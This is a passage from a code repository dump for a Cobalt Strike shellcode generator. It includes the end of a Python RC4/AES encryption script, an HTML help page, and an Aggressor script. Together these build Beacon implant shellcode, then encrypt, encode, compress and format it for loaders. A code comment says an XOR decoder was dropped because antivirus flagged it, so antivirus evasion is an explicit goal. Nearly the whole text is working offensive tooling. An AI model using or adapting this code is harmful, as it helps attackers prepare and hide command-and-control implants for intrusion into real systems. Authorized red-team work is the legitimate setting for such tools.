fo: 69 | plaintext = fo.read() 70 | #plaintext = b64encode(plaintext) 71 | cipher = ARC4.new(key) 72 | enc = cipher.encrypt(plaintext) 73 | #enc = b64encode(enc) 74 | with open(out_file, 'wb') as fo: 75 | fo.write(enc) 76 | print(f'[*] Read File Bytes: {len(plaintext)}') 77 | print(f'[*] RC4 Encrypted File Bytes: {len(enc)}') 78 | print("[*] RC4 encrypted file written to: " + out_file) 79 | 80 | def rc4_decrypt_file(key, in_file, out_file): 81 | with open(in_file, 'rb') as fo: 82 | ciphertext = fo.read() 83 | #ciphertext = b64decode(ciphertext) 84 | cipher = ARC4.new(key) 85 | dec = cipher.encrypt(ciphertext) 86 | #dec = b64decode(dec) 87 | with open(out_file, 'wb') as fo: 88 | fo.write(dec) 89 | print(f'[*] Read File Bytes: {len(ciphertext)}') 90 | print(f'[*] RC4 Decrypted File Bytes: {len(dec)}') 91 | print("[*] RC4 decrypted file written to: " + out_file) 92 | 93 | if len(sys.argv) < 5: 94 | print('Usage: encrypt_file.py ') 95 | print('AES key: 16, 24 or 32 byte long key') 96 | print('RC4 key: Minimum 5 byte length value or phrase. Phrase with spaces needs to be in ""') 97 | elif (sys.argv[1]) == 'aes' and (sys.argv[2]) == 'encrypt': 98 | aes_encrypt_file((bytearray((sys.argv[3]), 'utf-8')), (sys.argv[4]), (sys.argv[5])) 99 | elif (sys.argv[1]) == 'aes' and (sys.argv[2]) == 'decrypt': 100 | aes_decrypt_file((bytearray((sys.argv[3]), 'utf-8')), (sys.argv[4]), (sys.argv[5])) 101 | elif (sys.argv[1]) == 'rc4' and (sys.argv[2]) == 'encrypt': 102 | rc4_encrypt_file((bytearray((sys.argv[3]), 'utf-8')), (sys.argv[4]), (sys.argv[5])) 103 | elif (sys.argv[1]) == 'rc4' and (sys.argv[2]) == 'decrypt': 104 | rc4_decrypt_file((bytearray((sys.argv[3]), 'utf-8')), (sys.argv[4]), (sys.argv[5])) -------------------------------------------------------------------------------- /build/build.txt: -------------------------------------------------------------------------------- 1 | shellcode build files go here -------------------------------------------------------------------------------- /help/shellcode_generator_help.html: -------------------------------------------------------------------------------- 1 | 2 |

----------------------
3 | CSSG - Cobalt Strike Shellcode Generator
4 | Ryan Stephenson (RCStep)
5 | ----------------------

6 | 7 |

Aggressor, .NET, and python scripts to generate beacon shellcode
8 | Generates beacon stageless shellcode with exposed exit method, additional formatting, encryption, encoding, compression, multiline output, etc
9 | **shellcode transforms are done in the descending order they are listed in the menu
10 | 11 |

Requirements:
12 | The RC4/AES encryption option uses a python script or .NET assembly in the /assets folder
13 |
14 | Python based encryption depends on the pycryptodome package to be installed to perform the RC4/AES encryption
15 |
16 | Install pycryptodome with pip depending on your python environment: 17 |

 18 |     python -m pip install pycryptodome
 19 |     python3 -m pip install pycryptodome
 20 |     py -3 -m pip install pycryptodome
 21 |     py -2 -m pip install pycryptodome
 22 | 
23 | You can check that pycryptodome is present after the pip install with a command like: 24 |
 25 |     python -m pip list | grep crypto

26 | 27 | The generator will use your client host's default "python" command to launch the RC4/AES encryption script
28 |
29 | Your client host needs to be able to execute native .NET framework assemblies for the RC4/AES .exe backend option
30 |
31 | ----------------------
32 |
33 | Options for the shellcode generator are:
34 | 35 |

Listener:
36 | Select a valid listener with the "..." button. Shellcode will be generated from this listener selection

37 | 38 |

Delivery:
39 | Stageless (Staged not supported for the shellcode generator)

40 | 41 |

Exit Method:
42 | process - exits the entire process that Beacon is present in when the beacon is closed
43 | thread - exits only the thread in which Beacon is running when the beacon is closed

44 | 45 |

Beacon Syscalls Method:
46 | none
47 | direct
48 | indirect

49 | 50 |

Beacon HTTP Library:
51 | wininet
52 | winhttp

53 | 54 |

Local Pointers Checkbox:
55 | May use if you are going to execute the shellcode from an existing Beacon
56 | Generates a Beacon shellcode payload that inherits key function pointers from a same-arch parent Beacon

57 | 58 |

Existing Session:
59 | The parent Beacon session where the shellcode will pull session metadata
60 | Shellcode should be run from within this Beacon session

61 | 62 |

x86 Checkbox:
63 | Check to generate x86 shellcode, x64 is generated by default

64 | 65 |

Or Use Shellcode File:
66 | Use an externally generated raw shellcode or other file in lieu of generating Beacon shellcode
67 | This allows you to use other exported Beacon files or output from other tools (Donut, msfvenom, etc)

68 | 69 |

Formatting:
70 | raw - raw binary shellcode output, no formatting applied
71 | hex - hex formatted shellcode output
72 | 0x90,0x90,0x90 - shellcode formatted into a C# style byte array
73 | 0x90uy;0x90uy;0x90uy - shellcode formatted into a F# style byte array
74 | \x90\x90\x90 - shellcode formatted into a C\C++ style byte array
75 | UUID - shellcode transformed into UUID strings with a python script (padded with \x90s for 16 byte chunks)
76 | b64 - option to base64 encode the shellcode early in the generation process (before any encryption)

77 | 78 |

XOR Encrypt Shellcode Checkbox:
79 | Check to XOR encrypt the shellcode (only one encryption type can be selected at a time)

80 | 81 |

XOR Key(s):
82 | Randomly generated and editable XOR key character(s) to use for encryption
83 | Multiple characters will result in multiple rounds of XOR encryption (i.e. ABCDE)

84 | 85 |

RC4 Encrypt Shellcode Checkbox:
86 | Check to RC4 encrypt the shellcode (only one encryption type can be selected at a time)
87 | Uses a python script or .NET Framework assembly to perform RC4 encryption

88 | 89 |

AES Encrypt Shellcode Checkbox:
90 | Check to AES encrypt the shellcode (only one encryption type can be selected at a time)
91 | Uses a python script or .NET Framework assembly to perform AES Block Cipher AES-CBC encryption
92 | Shellcode is padded with \0 values to reach block size requirements
93 | A randomly generated IV is prepended to the encrypted shellcode data

94 | 95 |

RC4/AES Backend Checkbox:
96 | Check to use a .NET exe assembly to encrypt your shellcode file
97 | Unchecked uses a python script to encrypt your shellcode file
98 | Encryption key byte lengths accepted for AES are 16, 24, and 32
99 | Encryption key byte lengths for RC4 are ANY when using .NET, and 5 bytes minium when using python

100 | 101 |

RC4/AES Backend tools:
102 | A python script and compiled .NET assembly are in the assets directory
103 | Source folder for the Encryptor assembly is there as well for self compliation if you dont trust me (I wouldn't)
104 | Both of these tools can encrypt and decrypt RC4/AES shellcode/files
105 |
106 | 107 | encrypt_file.py Usage:
108 |

109 |     encrypt_file.py [aes/rc4] [encrypt/decrypt] [key] [input file] [output file]
110 | 
111 | 112 | Encryptor.exe Usage:
113 |
114 |     Encryptor.exe [aes/rc4] [encrypt/decrypt] [key] [input file] [output file]
115 | 
116 | 117 |

AES or RC4 Key:
118 | Randomly generated and editable RC4/AES key to use for encryption
119 | 32 byte AES key is generated and preferred for 256 bit AES encryption strength
120 | AES Encryption key byte lengths accepted are 16, 24, and 32
121 | RC4 key lenghth is 1 byte minimum if using .NET and 5 bytes minium if using python

122 | 123 |

Encoding/Compression:
124 | none - No additional encoding or compression is done to the shellcode
125 | b64 - base64 encode the shellcode
126 | gzip then b64 - gzip compress then base64 the shellcode
127 | gzip - gzip compress the shellcode
128 | b64 then gzip - base64 then gzip compress the shellcode
129 | b64 then 7xgzip - base64 then gzip compress the shellcode 7 times

130 | 131 |

Multiline Output:
132 | Can be used for non-raw/binary output formats
133 | none - no multiline formatting, shellcode is one long string
134 | quoted - Shellcode is broken up into lines surround by quotation marks
135 | chunks.push_back - Shellcode is broken up into lines surrounded by chunks.push_back(" and ");

136 | 137 |

Multiline Length:
138 | Number of characters in each line if a multiline output option is selected

139 | 140 |

Generate Button:
141 | Select directory for shellcode output
142 | Defalut filename will be beacon but can be changed
143 | Any encryption key used will be displayed in a popup and also written to the Cobalt Strike Script Console
144 | The byte size of the raw beacon shellcode and final formatted beacon shellcode will be displayed in a popup and also written to the Script Console

145 | Location of files used to generate/build the shellcode are all set the scripts/shellcode_generator.cna file
146 | 147 | -------------------------------------------------------------------------------- /scripts/shellcode_generator.cna: -------------------------------------------------------------------------------- 1 | # Shellcode Generator 2 | # 3 | # Shellcode Generator 4 | # Generates beacon stageless shellcode with exposed exit method and additional formatting, encryption, encoding, compression, multiline output, etc 5 | # 6 | 7 | # Set paths below to files needed for the payload build. Paths are relative to the custom_payload_generator.cna script location 8 | 9 | # Build directory for shellcode generator 10 | $SCDIR = "/build/"; 11 | 12 | # Temp file for shellcode 13 | $SCFILE = "/build/shellcode"; 14 | 15 | # File containng byte size of the raw shellcode 16 | $RAWSIZE = "/build/raw_shellcode_size.txt"; 17 | 18 | # File containng byte size of the final shellcode 19 | $FINALSIZE = "/build/final_shellcode_size.txt"; 20 | 21 | # File containng the XOR encryption key used by the generated shellcode 22 | $XORKEY = "/build/xor_key.txt"; 23 | 24 | # File containng the AES/RC4 encryption key used by the generated shellcode 25 | $ENCKEY = "/build/encryption_key.txt"; 26 | 27 | # Python script used to generate the aes encrypted shellcode file 28 | $ENCPYTHON = "/assets/encrypt_file.py"; 29 | 30 | # .NET PE used to generate the aes encrypted shellcode file 31 | $ENCEXE = "/assets/Encryptor.exe"; 32 | 33 | # Python script used to generate the UUID formatted shellcode file 34 | $UUIDPYTHON = "/assets/bin2uuids_file.py"; 35 | 36 | # File containing the output of format_shellcode for python injestion 37 | $FORMATTED = "/build/formatted_shellcode"; 38 | 39 | # File containing the output of python encryption 40 | $ENCRYPTED = "/build/encrypted_shellcode"; 41 | 42 | # Help file for the payload 43 | $HELPFILE = "/help/shellcode_generator_help.html"; 44 | 45 | # ensure this function name is called again at the end of this build script 46 | sub generate_shellcode { 47 | # Generate and cutomize the payload submenu 48 | $dialog = dialog("Shellcode Generator", %(listener => "Select Listener", xor_key => random_string("5"), encryption_key => random_string("32"), line_length => "80"), &shellcode_gen); 49 | dialog_description($dialog, "Generate beacon stageless shellcode or use external shellcode file. Options applied in descending order."); 50 | drow_listener_stage($dialog, "listener", "Listener: "); 51 | drow_combobox($dialog, "payload_type", "Delivery: ", @("Stageless","Staged")); 52 | drow_combobox($dialog, "exit_method", "Exit Method: ", @("process", "thread")); 53 | drow_combobox($dialog, "syscalls_type", "Beacon Syscalls Method: ", @("none","direct","indirect")); 54 | drow_combobox($dialog, "http_type", "Beacon HTTP Library: ", @("wininet","winhttp")); 55 | drow_checkbox($dialog, "local", "Local Pointers: ", "Embeded Pointers from an Existing Session"); 56 | drow_beacon($dialog, "bid", "Existing Session: "); 57 | drow_checkbox($dialog, "x86", "x86: ", "Use x86 Shellcode"); 58 | drow_file($dialog, "scfile", "Or Use Shellcode File: "); 59 | drow_combobox($dialog, "format", "Formatting: ", @("raw","hex","0x90\,0x90\,0x90","\\x90\\x90\\x90","0x90uy\;0x90uy\;0x90uy\;","UUID","b64")); 60 | drow_checkbox($dialog, "XOR", "XOR: ", "XOR Encrypt Shellcode"); 61 | drow_text($dialog, "xor_key", "XOR Key\(s\): "); 62 | drow_checkbox($dialog, "RC4", "RC4: ", "RC4 Encrypt Shellcode"); 63 | drow_checkbox($dialog, "AES", "AES: ", "AES Encrypt Shellcode"); 64 | drow_checkbox($dialog, "enc_exe", "RC4/AES Backend: ", "Encrypt using .NET exe (unchecked uses python)"); 65 | drow_text($dialog, "encryption_key", "AES or RC4 Key: "); 66 | drow_combobox($dialog, "encode_compress", "Encoding/Compression: ", @("none","b64","gzip then b64","gzip","b64 then gzip","b64 then 7xgzip")); 67 | drow_combobox($dialog, "multiline", "Multiline Output: ", @("none","quoted","chunks.push_back")); 68 | drow_text($dialog, "line_length", "Multiline Length: "); 69 | dbutton_action($dialog, "Generate"); 70 | dbutton_help($dialog, "file:".script_resource($HELPFILE).""); 71 | dialog_show($dialog); 72 | } 73 | 74 | sub shellcode_gen { 75 | # Uncomment to enable cna script debugging 76 | #debug(debug() | 64); 77 | 78 | # Assign menu selections to variables used in shellcode build 79 | #$exit_method = $3['exit_method']; 80 | $xorkey = $3['xor_key']; 81 | $enckey = $3['encryption_key']; 82 | $linelength = $3['line_length']; 83 | 84 | # Error if no Listener or file is selected 85 | if (($3['listener'] ismatch "Select Listener") && ($3['scfile'] ismatch "")) { 86 | #berror($1, 'You did not select a proper Listener.'); 87 | show_message("Please select a proper Listener or Shellcode file."); 88 | break; 89 | } 90 | 91 | else { 92 | # Set shellcode architecture based on menu checkbox selection 93 | $arch = "x64"; 94 | if ($3['x86'] eq "true") { 95 | $arch = "x86"; 96 | } 97 | 98 | # Error if Staged delivery type is selected 99 | if ($3['payload_type'] eq "Staged") { 100 | berror($1, 'You did not select Stagless Delivery.'); 101 | show_message("Only Stageless Delivery supported for this shellcode generator."); 102 | break; 103 | } 104 | 105 | ###### Load or Create Beacon Shellcode Section 106 | 107 | # Alternate import of shellcode from a file if path is supplied 108 | if ($3['scfile'] ne ""){ 109 | $shellcode_file = openf($3['scfile']); 110 | $shellcode = readb($shellcode_file, -1); 111 | closef($shellcode_file); 112 | println("Using shellcode file at: " . $3['scfile']); 113 | } 114 | 115 | # Create beacon shellcode with local session pointers, listener, architecture, and exit method 116 | else if ($3['local'] eq "true") { 117 | $shellcode = payload_local($3['bid'], $3['listener'], $arch, $3['exit_method'], $3['syscalls_type'], $3['http_type']); 118 | println("CSSG generating Beacon shellocode"); 119 | println("Listener: " . $3['listener']); 120 | println("Embedding pointers from Beacon ID: " . $3['bid']); 121 | println("Architecture: " . $arch); 122 | println("Exit Method: " . $exit_method); 123 | println("Syscalls: " . $3['syscalls_type']); 124 | println("HTTP Library: " . $3['http_type']); 125 | } 126 | 127 | # else Create the beacon shellcode with listener, architecture, and exit method 128 | else { 129 | $shellcode = payload($3['listener'], $arch, $3['exit_method'], $3['syscalls_type'], $3['http_type']); 130 | println("CSSG generating Beacon shellocode"); 131 | println("Listener: " . $3['listener']); 132 | println("Architecture: " . $arch); 133 | println("Exit Method: " . $exit_method); 134 | println("Syscalls: " . $3['syscalls_type']); 135 | println("HTTP Library: " . $3['http_type']); 136 | } 137 | 138 | # Get raw shellcode size in bytes 139 | $sc_size = strlen($shellcode); 140 | 141 | ###### Formatting Section 142 | 143 | # RAW/No Formatting 144 | if ($3['format'] eq "raw") { 145 | $format_shellcode = $shellcode; 146 | } 147 | 148 | # hex format 149 | if ($3['format'] eq "hex") { 150 | $format_shellcode = transform($shellcode, "hex"); 151 | } 152 | 153 | # c# format 154 | if ($3['format'] eq "0x90\,0x90,\0x90") { 155 | $format_shellcode = format_csharp($shellcode); 156 | } 157 | 158 | # f# format 159 | if ($3['format'] eq "0x90uy\;0x90uy\;0x90uy\;") { 160 | $format_shellcode = format_fsharp($shellcode); 161 | } 162 | 163 | # c/cpp format 164 | if ($3['format'] eq "\\x90\\x90\\x90") { 165 | $format_shellcode = format_cpp($shellcode); 166 | } 167 | 168 | # UID format 169 | if ($3['format'] eq "UUID") { 170 | # Write $shellcode to a file for formatting 171 | $shellcode_resource = openf(">".script_resource($SCFILE).""); 172 | writeb($shellcode_resource, $shellcode); 173 | closef($shellcode_resource); 174 | sleep(3 * 1000); 175 | # Use UUID python script to transform the shellcode file 176 | $uuid_python = script_resource(($UUIDPYTHON).""); 177 | $in_file = script_resource(($SCFILE).""); 178 | $out_file = script_resource(($FORMATTED).""); 179 | exec("python ". $uuid_python ." $in_file $out_file"); 180 | println("python ". $uuid_python ." $in_file $out_file"); 181 | sleep(3 * 1000); 182 | # Set $format_shellcode value from the UUID transformed file 183 | $format_resource = openf(script_resource($FORMATTED).""); 184 | $format_shellcode = readb($format_resource, -1); 185 | closef($encrypted_resource); 186 | } 187 | 188 | # early b64 encoding option 189 | if ($3['format'] eq "b64") { 190 | $format_shellcode = base64_encode($shellcode); 191 | #$format_shellcode = transform($shellcode, "powershell-base64"); 192 | } 193 | 194 | ###### Encryption Section 195 | 196 | # Error if multiple encryption types are selected 197 | if ($3['XOR'] eq "true" && $3['AES'] eq "true") { 198 | show_message("Cannot select both encryption types, try again"); 199 | break; 200 | } 201 | 202 | # No Encryption 203 | if ($3['XOR'] eq "false" && $3['AES'] eq "false") { 204 | $encrypted_shellcode = $format_shellcode 205 | } 206 | 207 | # XOR Encryption 208 | if ($3['XOR'] eq "true") { 209 | $encrypted_shellcode = str_xor($format_shellcode, $xorkey); 210 | # Save XOR key to a file 211 | $xorkey_resource = openf(">".script_resource($XORKEY).""); 212 | writeb($xorkey_resource, $xorkey); 213 | closef($xorkey_resource); 214 | # Show XOR key in popup message and script console 215 | println("XOR Key: " . $xorkey . ""); 216 | show_message("XOR key used is: $xorkey"); 217 | } 218 | 219 | # AES Encryption 220 | if ($3['AES'] eq "true") { 221 | # Write $format_shellcode to a file for encryption 222 | $formatted_resource = openf(">".script_resource($FORMATTED).""); 223 | writeb($formatted_resource, $format_shellcode); 224 | closef($formatted_resource); 225 | sleep(3 * 1000); 226 | # Save AES key to a file 227 | $key_resource = openf(">".script_resource($ENCKEY).""); 228 | writeb($key_resource, $enckey); 229 | closef($key_resource); 230 | # Show AES key in script console 231 | println("AES Key: " . $enckey . ""); 232 | #show_message("AES key used is: $aeskey"); 233 | sleep(3 * 1000); 234 | # Use AES script or exe to encrypt the formatted shellcode file 235 | $encrypt_python = script_resource(($ENCPYTHON).""); 236 | $encrypt_exe = script_resource(($ENCEXE).""); 237 | $in_file = script_resource(($FORMATTED).""); 238 | $out_file = script_resource(($ENCRYPTED).""); 239 | println("AES Encrypting the shellcode with the following command:"); 240 | if ($3['enc_exe'] eq "true") { 241 | exec("". $encrypt_exe ." aes encrypt $enckey $in_file $out_file"); 242 | println("". $encrypt_exe ." aes encrypt $enckey $in_file $out_file"); 243 | } 244 | else { 245 | exec("python ". $encrypt_python ." aes encrypt $enckey $in_file $out_file"); 246 | println("python ". $encrypt_python ." aes encrypt $enckey $in_file $out_file"); 247 | } 248 | sleep(3 * 1000); 249 | # Set $encrypted_shellcode value from the encrypted file 250 | $encrypted_resource = openf(script_resource($ENCRYPTED).""); 251 | $encrypted_shellcode = readb($encrypted_resource, -1); 252 | closef($encrypted_resource); 253 | sleep(3 * 1000); 254 | } 255 | 256 | # RC4 Encryption 257 | if ($3['RC4'] eq "true") { 258 | # Write $format_shellcode to a file for encryption 259 | $formatted_resource = openf(">".script_resource($FORMATTED).""); 260 | writeb($formatted_resource, $format_shellcode); 261 | closef($formatted_resource); 262 | sleep(3 * 1000); 263 | # Save AES key to a file 264 | $key_resource = openf(">".script_resource($ENCKEY).""); 265 | writeb($key_resource, $enckey); 266 | closef($key_resource); 267 | #$rc4key = $enckey; 268 | $rc4key = ("\"". $enckey ."\""); 269 | # Show AES key in script console 270 | println("RC4 Key: " . $rc4key . ""); 271 | #show_message("RC4 key used is: $rc4key"); 272 | sleep(3 * 1000); 273 | # Use AES script or exe to encrypt the formatted shellcode file 274 | $encrypt_python = script_resource(($ENCPYTHON).""); 275 | $encrypt_exe = script_resource(($ENCEXE).""); 276 | $in_file = script_resource(($FORMATTED).""); 277 | $out_file = script_resource(($ENCRYPTED).""); 278 | println("RC4 Encrypting the shellcode with the following command:"); 279 | if ($3['enc_exe'] eq "true") { 280 | exec("". $encrypt_exe ." rc4 encrypt $rc4key $in_file $out_file"); 281 | println("". $encrypt_exe ." rc4 encrypt $rc4key $in_file $out_file"); 282 | } 283 | else { 284 | exec("python ". $encrypt_python ." rc4 encrypt $rc4key $in_file $out_file"); 285 | println("python ". $encrypt_python ." rc4 encrypt $rc4key $in_file $out_file"); 286 | } 287 | sleep(3 * 1000); 288 | # Set $encrypted_shellcode value from the encrypted file 289 | $encrypted_resource = openf(script_resource($ENCRYPTED).""); 290 | $encrypted_shellcode = readb($encrypted_resource, -1); 291 | closef($encrypted_resource); 292 | sleep(3 * 1000); 293 | } 294 | 295 | # position-independent blob of xor shellcode with an embeded decoder 296 | # DID NOT USE, xor decoder flagged by AV 297 | #$encoded_shellcode = encode($format_shellcode, "xor", $arch); 298 | 299 | ###### Encoding and Compression section 300 | 301 | # No additional encoding/compression 302 | if ($3['encode_compress'] eq "none") { 303 | $encoded_shellcode = $encrypted_shellcode; 304 | } 305 | 306 | # b64 encoded only 307 | if ($3['encode_compress'] eq "b64") { 308 | $encoded_shellcode = base64_encode($encrypted_shellcode); 309 | } 310 | 311 | # gzip compressed then b64 encoded shellcode 312 | if ($3['encode_compress'] eq "gzip then b64") { 313 | $encoded_shellcode = base64_encode(gzip($encrypted_shellcode)); 314 | } 315 | 316 | # gzip compressed only 317 | if ($3['encode_compress'] eq "gzip") { 318 | $encoded_shellcode = gzip($encrypted_shellcode); 319 | } 320 | 321 | # b64 encoded then gzip compressed shellcode 322 | if ($3['encode_compress'] eq "b64 then gzip") { 323 | $encoded_shellcode = gzip(base64_encode($encrypted_shellcode)); 324 | } 325 | 326 | # b64 encoded then 7x gzip compressed shellcode 327 | if ($3['encode_compress'] eq "b64 then 7xgzip") { 328 | $encoded_shellcode = gzip(gzip(gzip(gzip(gzip(gzip(gzip(base64_encode($encrypted_shellcode)))))))); 329 | } 330 | 331 | ###### Multiline Output Section 332 | 333 | if ($3['multiline'] eq "none") { 334 | $final_shellcode = $encoded_shellcode; 335 | sleep(3 * 1000); 336 | } 337 | 338 | if ($3['multiline'] eq "quoted") { 339 | $final_shellcode = format_multiline($encoded_shellcode); 340 | sleep(3 * 1000); 341 | } 342 | 343 | if ($3['multiline'] eq "chunks.push_back") { 344 | $final_shellcode = format_chunks($encoded_shellcode); 345 | sleep(3 * 1000); 346 | } 347 | 348 | ###### Shellcode writing section 349 | 350 | # Get final shellcode size and write to a file 351 | $final_size = strlen($final_shellcode); 352 | $finalsize_resource = openf(">".script_resource($FINALSIZE).""); 353 | writeb($finalsize_resource, $final_size); 354 | closef($finalsize_resource); 355 | 356 | # Write raw shellcode size to a file 357 | $rawsize_resource = openf(">".script_resource($RAWSIZE).""); 358 | writeb($rawsize_resource, $sc_size); 359 | closef($rawsize_resource); 360 | 361 | # Write shellcode to a file 362 | $resource = openf(">".script_resource($SCFILE).""); 363 | writeb($resource, $final_shellcode); 364 | closef($resource); 365 | sleep(3 * 1000); 366 | 367 | # Promt to save shellcode to a user location and filename 368 | $name = prompt_file_save("beacon", { 369 | local('$outfile'); 370 | $outfile = openf("> $+ $1"); 371 | writeb($outfile, $final_shellcode); 372 | closef($outfile); 373 | # Show raw and final shellcode size in popup message and script console 374 | println("RAW Shellcode size: " . $sc_size . ""); 375 | println("Final Shellcode size: " . $final_size . ""); 376 | show_message("Raw shellcode size is: $sc_size bytes, Final shellcode size is: $final_size bytes"); 377 | }); 378 | } 379 | } 380 | 381 | ###### Helper Functions Section 382 | 383 | # generate random string for variable substitution and keygens 384 | sub random_string { 385 | $limit = $1; 386 | @random_str = @(); 387 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 388 | for ($x = 0; $x < $limit; $x++) { 389 | $n = rand(strlen($characters)); 390 | add(@random_str, charAt($characters, $n)); 391 | } 392 | return join('', @random_str); 393 | } 394 | 395 | # Format shellcode into C# type 0x90,0x90,0x90 396 | sub format_csharp { 397 | $key = $1; 398 | @fmt = str_chunk(transform($key, "hex"), 2); 399 | return "0x". join(",0x", @fmt); 400 | } 401 | 402 | # Format shellcode into F# type 0x90uy;0x90uy;0x90uy; 403 | sub format_fsharp { 404 | $key = $1; 405 | @fmt = str_chunk(transform($key, "hex"), 2); 406 | return "0x". join("uy\;0x", @fmt) ."uy\;"; 407 | } 408 | 409 | # Format shellcode into C/C++ type \x90\x90\x90 410 | sub format_cpp { 411 | $key = $1; 412 | @fmt = str_chunk(transform($key, "hex"), 2); 413 | return "\\x". join("\\x", @fmt); 414 | } 415 | 416 | # Format shellcode into quoted multi-line output 417 | sub format_multiline { 418 | $key = $1; 419 | @fmt = str_chunk($key, $linelength); 420 | return "\"". join("\"\n\"", @fmt) ."\""; 421 | } 422 | 423 | # Format shellcode into chunks.push_back(""); multi-line output 424 | sub format_chunks { 425 | $key = $1; 426 | @fmt = str_chunk($key, $linelength); 427 | return "chunks.push_back(\"". join("\"\)\;\nchunks.push_back(\"", @fmt) ."\"\)\;"; 428 | } 429 | 430 | # Run main generate_shellcode function 431 | generate_shellcode(); 432 | --------------------------------------------------------------------------------